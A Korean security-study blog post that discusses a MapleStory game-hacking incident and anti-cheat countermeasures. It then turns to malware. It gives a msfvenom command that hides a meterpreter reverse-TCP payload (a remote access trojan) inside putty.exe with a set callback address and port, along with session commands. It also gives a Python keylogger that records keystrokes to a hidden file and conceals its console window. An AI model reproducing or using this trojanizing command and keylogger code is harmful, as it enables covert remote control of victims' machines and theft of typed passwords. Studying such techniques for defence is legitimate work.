Culture/etc 해킹지식

정보보안 스터디 - 23주차 6일 - 메이플 해킹 사건, python 키로거

wonder12 2023. 3. 22. 08:43

☞ 메이플 게임 해킹 사건

메이플에서 개인이 스킬의 데미지 등 데이터 조작이 가능했습니다.

 

 게임 해킹 과정

보통 게임에서의 해킹은 

서버가 검증을 안하기 때문에 클라이언트 측에서 값을 바꾸면서 이루어집니다.

서버로 가는 데이터를 바꾸거나 

내 컴퓨터의 있는 데이터값을 바꾸는 것입니다.

 

이럴 경우 서버에서는 감시인을 보내 빡센 검증을 진행할 수도 있습니다.

하지만 메모리의 경우 가린다거나 하는 등 눈을 속일 여지가 있고

만약 감시를 너무 깊게 들어와 컴퓨터 내부 파일을 검사하려 한다면 백신, 윈도우 디펜더에 잡히는 경우가 발생합니다.

(실제로 발생했습니다.)

따라서 어느정도 감시할지 따져봐야되는데

서버와 클라이언트가 나눠서 역할을 분담해야합니다.

서버에서 모두 알아서 검증하는 것이 이상적이지만(직접 돌리고 화면을 공유만 해주는 식입니다.) 유저가 몇만명이 될 경우는 너무 많은 양의 데이터를 처리해야하기 때문에 리소스가 많이들고 그만큼 비용이 많이 듭니다. 싱글플레이라면 클라이언트에게 역할을 모두 줘도되서 게임 모드 개발하게 되는 것입니다. 하지만 멀티플레이는 더 철저히 해야겠죠.

그래서 서버에서는 중요한 데이터값에 대해서는 무조건 서버에서 검증하도록합니다.

확률형 아이템을 뽑을 때라든지, 스킬의 데미지 값을 변형할 때 등입니다.

 

 

 게임해킹은

1) 메모리 변조 

메모리는 프로그램의 작업대로 메모리 변조는 실제로 작업 중에 해야하기 때문에 좀 어렵습니다.

> 프로그램이 실행될 때는 디버깅을 탐지하고 메모리에 접근하는지 모니터링하기 때문입니다.

 

2) 프로그램 변조

그나마 쉬운 편인데 메모리에 올라가기 전에 파일 데이터 값을 변경합니다.

> 프로그램 실행하기 전, 뭐가 바뀌었는지 체크를 합니다. (해쉬?)

 

3) 서버로 가는 데이터 변조

intercept해서 하는 방법인데 좀 어렵습니다.

> 암호화해서 주고받으면 어떤 데이터를 변조해야할지 확인이 안됩니다.

 

이번에 발생한 핵이 프로그램 변조였으며

하지만 위의 방법은 모두 위회가 가능하기 때문에 결국 뚫립니다.

 

 

사실상 내 PC의 최고관리자 권한을 가지고 있기 때문에 메모리에서 변조하는지 모니터링 하려고 하면 살짝 가려주거나 뺨을 때려줄 수 있습니다. 

 

 

 대응 방안

뭘 검사할지도 기준이 애매합니다. 사실.

만약 던전 10초만에 돌파하는 것을 핵이라고 수치를 매긴다면

실제로 15초만에 오는 경우는 핵이라고 판단할 수도 있기 때문입니다.

 

1) 난독화

2) CRC검증

무결성 체크를 위해 1234 솔트값을 붙이고 일종의 해시처리를 해서 해시값만 비교합니다.

3) 메모리 모니터링

4) 서버 암호화

5) 서버 측 중요한 데이터 검증

 

CRC검증은 우회하기 너무 쉽습니다. 프로그램 시작 전에 바꿔주면 되기 때문입니다.

 

모든 방법을 100%막을 순 없고 우회가 되지만 이 모든 방안을 적절히 나눠 해야합니다.

도둑이 쉽게 담을 넘어올거라고 판단해 담을 없애는 방법을 취하면 모든 이들의 표적이 되고 시도를 하려고 할 것입니다. 

 

 

 

 

 

키보드 입력 추출, 개인정보 추출, device 장악, 주문 취소 등은 

모두 해킹이라고 할 수 있고

악성코드는 악의적인 목적을 가진 행위를 코드로 짠 것입니다.

 

 

 msf를 이용한 RAT 삽입. 

 

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.50.154 LPORT=7777 
-x putty.exe -k -f exe -o meterpreter_putty.exe

기존 프로그램에다가 RAT을 살짝 집어넣어서 심어만들 수 있습니다. 

 

세션이 실행되면 파일 실행 및 키보드 입력신호까지 넣을 수 있습니다.

execute -f "notepad.exe"
keyboard_send "Hello"

 

 

 python을 이용한 keylogger

키보드 입력 정보가 컴퓨터에 들어갈 떄

그 정보를 중간에서 인지하고 기록하는 프로그램입니다.

 

pynput이라는 모듈로 사용하며 내장된 기본 모듈이 아니기 때문에 따로 설치를 해야합니다.

화면 캡쳐, 마우스 클릭하는 이벤트를 가져올 수도 있습니다. 

from pynput import keyboard

def on_press(key):
	print(key)

with keyboard.Listener(on_press=on_press) as listener :
	listener.join()

 

키보드 눌리는 신호를 받아서 뭐가 눌렸는지 print해주는 간단한 코드입니다.

 

print대신 이 정보를 컴퓨터 안에 숨겨넣고 빼오면 됩니다.

with open('C:\\users\~\keylog.txt','a')
	f.write(str(key))

로 대신합니다.

해당파일을 a모드로 열어서 write합니다.

 

 

 

def hideProgram():
	win = win32console.GetConsoleWindow()
	win32gui.ShowWindow(win,0)

실행중에 cmd창이 보이기 때문에 숨겨줍니다.

(프로세스도 숨기는 방법이 있긴합니다. )

win32console, win32gui의 모듈을 사용하며, def정의 후 hideProgram()로 실행합니다.

 

 

 

> 키로거 예시

 

 

이렇게 했을 때 윈도우 디펜더는 악성 행위로 판단하기 때문에 왠만하면 잡습니다.

msfvenom으로 base64 인코딩해도 잡힙니다.

참고로 요즘은 브라우저가 좋아져서 javascript로 임의의 프로그램을 실행시키기 쉽지 않음.

 

 

이런 악성코드를 어떻게 실행시키지?
> 사회공학기법도 있겠지만 취약점을 활용해서
대표적으로 RCE 취약점 존재하면 페이로드 exploit해서 가능합니다.

 

 

실무에서는 악성코드 정적 분석을 위해 IDA 크랙(hex-rays기능을 위해서)쓰는데 규정상 안될 경우 무료버전인 gidra를 많이 씁니다.